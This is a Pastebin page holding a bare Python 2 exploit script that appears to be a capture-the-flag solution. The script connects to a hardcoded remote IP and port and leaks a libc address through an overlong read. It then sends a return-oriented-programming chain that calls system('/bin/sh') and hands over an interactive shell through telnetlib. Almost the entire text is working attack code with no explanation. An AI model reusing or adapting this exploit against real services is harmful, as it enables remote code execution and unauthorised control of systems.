Ledger Nano X - The secure hardware wallet
SHARE
TWEET

Untitled

a guest Dec 29th, 2015 549 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import socket, struct, binascii
  2. import telnetlib  
  3.  
  4. def readline(sc, show = True):
  5.     res = ""
  6.     while len(res) == 0 or res[-1] != "\n":
  7.         data = sc.recv(1)
  8.         if len(data) == 0:
  9.             print repr(res)
  10.             print "Server disconnected"
  11.             exit()
  12.         res += data
  13.        
  14.     if show:
  15.         print repr(res[:-1])
  16.     return res[:-1]
  17.  
  18. def read_until(sc, s):
  19.     res = ""
  20.     while not res.endswith(s):
  21.         data = sc.recv(1)
  22.         if len(data) == 0:
  23.             print repr(res)
  24.             print "Server disconnected"
  25.             exit()
  26.         res += data
  27.        
  28.     return res
  29.    
  30. def x(n):
  31.     return struct.pack("<Q", n)
  32.    
  33. if True:
  34.     ip = ("136.243.194.41", 666)
  35.     distance = 0x5795d0
  36.     puts_offset = 0x0000000000070A30
  37.     poprdi_offset = 0x000000000001F6B5
  38.     system_offset = 0x00000000000443D0
  39. else:
  40.     ip = ("10.0.0.97", 12345)
  41.     distance = 0x55a610
  42.     puts_offset = 0x000000000006B9F0
  43.     poprdi_offset = 0x000000000001F6B2
  44.     system_offset = 0x00000000000414F0
  45.    
  46. sc = socket.create_connection(ip)
  47.  
  48. s = "X" * 9
  49. sc.send(x(len(s)))
  50. sc.send(s)
  51.  
  52. res = sc.recv(16384)
  53. addr = ("\x00" + res[9:].rstrip("\n")).ljust(8, "\x00")
  54. print binascii.b2a_hex(addr)
  55. addr = struct.unpack("<Q", addr)[0]
  56. print "address", hex(addr)
  57. libcbase = addr - (distance + puts_offset)
  58.  
  59. s = "XXXXXXXX" + x(addr + 8 - 0x800) + x(0x00000000004004EE)
  60. sc.send(struct.pack("<Q", len(s)))
  61. sc.send(s)
  62. print "res", repr(sc.recv(16384))
  63.  
  64. s = "XXXXXXXX" + "AAAAAAAA" + x(libcbase + poprdi_offset) + x(addr - 0x7d0) + "CCCCCCCC" + x(libcbase + system_offset) +  "/bin/sh\x00"
  65. sc.send(struct.pack("<Q", len(s)))
  66. sc.send(s)
  67. res = sc.recv(16384)
  68. print "res", repr(res)
  69.  
  70. t = telnetlib.Telnet()                                                  
  71. t.sock = sc
  72. t.interact()  
  73.  
  74. while True:
  75.     data = sc.recv(16384)
  76.     if len(data) == 0:
  77.         break
  78.     for line in data.split("\n"):
  79.         print "xx", binascii.b2a_hex(line)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top